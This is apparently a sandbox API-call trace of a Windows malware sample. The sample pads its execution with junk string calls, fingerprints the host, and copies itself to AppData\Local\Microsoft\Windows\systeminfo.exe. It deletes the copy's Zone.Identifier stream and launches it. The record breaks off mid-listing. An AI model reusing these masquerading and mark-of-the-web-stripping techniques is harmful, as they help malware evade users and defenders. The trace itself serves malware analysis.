[0032.804] SetLastError (dwErrCode=0xb7) [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] GetCurrentProcess () returned 0xffffffff [0032.804] GetLastError () returned 0xb7 [0032.804] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19087P") returned 6 [0032.804] SetLastError (dwErrCode=0xb7) [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="190C4P") returned 6 [0032.804] SetLastError (dwErrCode=0xb7) [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] GetCurrentProcess () returned 0xffffffff [0032.804] GetLastError () returned 0xb7 [0032.804] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1913BP") returned 6 [0032.804] SetLastError (dwErrCode=0xb7) [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] GetCurrentProcess () returned 0xffffffff [0032.805] GetLastError () returned 0xb7 [0032.805] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="191BDP") returned 6 [0032.805] SetLastError (dwErrCode=0xb7) [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] GetCurrentProcess () returned 0xffffffff [0032.805] GetLastError () returned 0xb7 [0032.805] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1920DP") returned 6 [0032.805] SetLastError (dwErrCode=0xb7) [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] lstrlenA (lpString="just string") returned 11 [0032.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.805] GetLastError () returned 0xb7 [0032.805] GetLastError () returned 0xb7 [0032.806] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19394P") returned 6 [0032.806] SetLastError (dwErrCode=0xb7) [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1943EP") returned 6 [0032.806] SetLastError (dwErrCode=0xb7) [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19466P") returned 6 [0032.806] SetLastError (dwErrCode=0xb7) [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1951AP") returned 6 [0032.806] SetLastError (dwErrCode=0xb7) [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.806] GetLastError () returned 0xb7 [0032.806] GetLastError () returned 0xb7 [0032.806] lstrlenA (lpString="just string") returned 11 [0032.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetCurrentProcess () returned 0xffffffff [0032.807] GetLastError () returned 0xb7 [0032.807] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="195FFP") returned 6 [0032.807] SetLastError (dwErrCode=0xb7) [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetCurrentProcess () returned 0xffffffff [0032.807] GetLastError () returned 0xb7 [0032.807] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="196B3P") returned 6 [0032.807] SetLastError (dwErrCode=0xb7) [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetCurrentProcess () returned 0xffffffff [0032.807] GetLastError () returned 0xb7 [0032.807] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19721P") returned 6 [0032.807] SetLastError (dwErrCode=0xb7) [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetCurrentProcess () returned 0xffffffff [0032.807] GetLastError () returned 0xb7 [0032.807] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19735P") returned 6 [0032.807] SetLastError (dwErrCode=0xb7) [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.807] GetLastError () returned 0xb7 [0032.807] GetLastError () returned 0xb7 [0032.807] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetCurrentProcess () returned 0xffffffff [0032.808] GetLastError () returned 0xb7 [0032.808] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="197C1P") returned 6 [0032.808] SetLastError (dwErrCode=0xb7) [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1981CP") returned 6 [0032.808] SetLastError (dwErrCode=0xb7) [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetCurrentProcess () returned 0xffffffff [0032.808] GetLastError () returned 0xb7 [0032.808] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="199E7P") returned 6 [0032.808] SetLastError (dwErrCode=0xb7) [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.808] GetLastError () returned 0xb7 [0032.808] lstrlenA (lpString="just string") returned 11 [0032.808] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetCurrentProcess () returned 0xffffffff [0032.809] GetLastError () returned 0xb7 [0032.809] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19C03P") returned 6 [0032.809] SetLastError (dwErrCode=0xb7) [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] lstrlenA (lpString="just string") returned 11 [0032.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.809] GetLastError () returned 0xb7 [0032.809] GetLastError () returned 0xb7 [0032.809] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="19CA4P") returned 6 [0032.809] SetLastError (dwErrCode=0xb7) [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] GetLastError () returned 0xb7 [0032.810] GetLastError () returned 0xb7 [0032.810] GetLastError () returned 0xb7 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] LoadLibraryW (lpLibFileName="ole32.dll") returned 0x75450000 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.810] lstrlenA (lpString="just string") returned 11 [0032.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] lstrlenA (lpString="just string") returned 11 [0032.811] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.811] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0033.539] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x758d0000 [0033.559] GetLastError () returned 0xb7 [0033.559] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x76c40000 [0033.597] GetLastError () returned 0x0 [0033.597] wsprintfA (in: param_1=0x3bfa37, param_2="%X%P" | out: param_1="1D05CP") returned 6 [0033.597] SetLastError (dwErrCode=0x0) [0033.597] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74bb0000 [0033.611] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x75350000 [0033.611] GetLastError () returned 0x0 [0033.611] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x74b90000 [0033.641] GetCurrentProcessId () returned 0xb44 [0033.641] GetWindowsDirectoryW (in: lpBuffer=0x3bf8c0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0033.641] GetLastError () returned 0x0 [0033.641] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x11c27c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x11c27c*=0x705ba84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0033.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c9c8, nSize=0x104 | out: lpFilename="C:\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe")) returned 0x18 [0033.641] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x6) returned 0x0 [0033.643] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x11c5b8 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0033.645] GetLastError () returned 0x3f0 [0033.646] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x150000, Length=0x1e000) returned 0x9ae18cdc [0033.647] UnmapViewOfFile (lpBaseAddress=0x150000) returned 1 [0033.648] CloseHandle (hObject=0x120) returned 1 [0033.648] CloseHandle (hObject=0x124) returned 1 [0033.648] GetComputerNameW (in: lpBuffer=0x3bf890, nSize=0x3bf8b0 | out: lpBuffer="YKYD69Q", nSize=0x3bf8b0) returned 1 [0033.648] GetCurrentProcessId () returned 0xb44 [0033.648] _snprintf (in: _Dest=0x11c2a8, _Count=0x104, _Format="%S_%08X" | out: _Dest="YKYD69Q_705BA84C") returned 16 [0033.648] lstrlenA (lpString="just string") returned 11 [0033.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0033.649] GetLastError () returned 0xcb [0033.649] lstrlenA (lpString="just string") returned 11 [0033.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0033.649] GetLastError () returned 0x0 [0033.649] SignalObjectAndWait (hObjectToSignal=0x128, hObjectToWaitOn=0x120, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0033.649] ResetEvent (hEvent=0x128) returned 1 [0033.649] ReleaseMutex (hMutex=0x124) returned 1 [0033.649] CloseHandle (hObject=0x124) returned 1 [0033.649] GetTickCount () returned 0x17c02 [0033.649] CreateTimerQueueTimer (in: phNewTimer=0x3bf8b0, TimerQueue=0x0, Callback=0x118e20, Parameter=0x0, DueTime=0x1388, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x3bf8b0*=0x7842c0) returned 1 [0033.649] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.990] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x7842c0, CompletionEvent=0xffffffff) returned 1 [0039.990] CloseHandle (hObject=0x128) returned 1 [0039.990] CryptDestroyHash (hHash=0x0) returned 0 [0040.003] CryptDestroyKey (hKey=0x0) returned 0 [0040.003] CryptDestroyKey (hKey=0x0) returned 0 [0040.003] CryptReleaseContext (hProv=0x0, dwFlags=0x0) returned 0 [0040.003] GetCurrentProcessId () returned 0xb44 [0040.003] ExitProcess (uExitCode=0x0) Thread: id = 37 os_tid = 0xb50 Thread: id = 38 os_tid = 0xb54 Thread: id = 39 os_tid = 0xbf0 [0038.653] GetTickCount () returned 0x18f91 Thread: id = 40 os_tid = 0xbf4 [0039.650] GetTickCount () returned 0x19378 [0039.650] GetCurrentProcessId () returned 0xb44 [0039.650] lstrcmpiW (lpString1="C:\\Users\\Public\\3292.exe", lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 1 [0039.650] lstrlenA (lpString="just string") returned 11 [0039.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0039.650] GetLastError () returned 0x0 [0039.650] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x10016 [0039.650] GetFileAttributesW (lpFileName="C:\\Users\\" (normalized: "c:\\users")) returned 0x11 [0039.650] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\" (normalized: "c:\\users\\aetadzjz")) returned 0x10 [0039.650] GetLastError () returned 0x0 [0039.651] lstrcmpA (lpString1="¨fx", lpString2="luck") returned -1 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] GetCurrentProcess () returned 0xffffffff [0039.651] GetLastError () returned 0x0 [0039.651] wsprintfA (in: param_1=0x2b0f42b, param_2="%X%P" | out: param_1="1EB26P") returned 6 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] GetCurrentProcessId () returned 0xb44 [0039.651] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\" (normalized: "c:\\users\\aetadzjz\\appdata")) returned 0x2012 [0039.651] GetCurrentProcess () returned 0xffffffff [0039.651] GetLastError () returned 0x0 [0039.651] wsprintfA (in: param_1=0x2b0f42b, param_2="%X%P" | out: param_1="1EB27P") returned 6 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] GetCurrentProcessId () returned 0xb44 [0039.651] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local")) returned 0x2010 [0039.651] GetLastError () returned 0x0 [0039.651] wsprintfA (in: param_1=0x2b0f42b, param_2="%X%P" | out: param_1="1EB28P") returned 6 [0039.651] SetLastError (dwErrCode=0x0) [0039.651] GetCurrentProcessId () returned 0xb44 [0039.651] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft")) returned 0x2010 [0039.651] GetCurrentProcessId () returned 0xb44 [0039.651] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows")) returned 0x2010 [0039.651] GetCurrentProcessId () returned 0xb44 [0039.651] SHFileOperationW (in: lpFileOp=0x2b0f92c*(hwnd=0x0, wFunc=0x1, pFrom="C:\\Users\\Public\\3292.exe", pTo="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", fFlags=0xe14, fAnyOperationsAborted=0, hNameMappings=0x0, lpszProgressTitle=0x7efa0000) | out: lpFileOp=0x2b0f92c*(hwnd=0x0, wFunc=0x1, pFrom="C:\\Users\\Public\\3292.exe", pTo="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", fFlags=0xe14, fAnyOperationsAborted=0, hNameMappings=0x0, lpszProgressTitle=0x7efa0000)) returned 0 [0039.974] GetCurrentProcessId () returned 0xb44 [0039.974] lstrlenA (lpString="just string") returned 11 [0039.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0039.975] GetLastError () returned 0x0 [0039.975] _snwprintf (in: _Dest=0x2b0f4b4, _Count=0x104, _Format="%s:Zone.Identifier" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe:Zone.Identifier") returned 80 [0039.975] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe:Zone.Identifier" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe:zone.identifier")) returned 0 [0039.975] GetLastError () returned 0x2 [0039.975] wsprintfA (in: param_1=0x2b0f63f, param_2="%X%P" | out: param_1="1EB3CP") returned 6 [0039.975] SetLastError (dwErrCode=0x2) [0039.975] GetCurrentProcessId () returned 0xb44 [0039.975] CreateProcessW (in: lpApplicationName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2b0f8e0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2b0f938 | out: lpCommandLine=0x0, lpProcessInformation=0x2b0f938*(hProcess=0x1ec, hThread=0x1e8, dwProcessId=0xbfc, dwThreadId=0x740)) returned 1 [0039.989] CloseHandle (hObject=0x1ec) returned 1 [0039.989] CloseHandle (hObject=0x1e8) returned 1 [0039.990] GetCurrentProcessId () returned 0xb44 [0039.990] SetEvent (hEvent=0x128) returned 1 Thread: id = 41 os_tid = 0xbf8 Process: id = "6" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x7176d000" os_pid = "0xbfc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xb44" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1304 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1305 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1306 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1307 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = 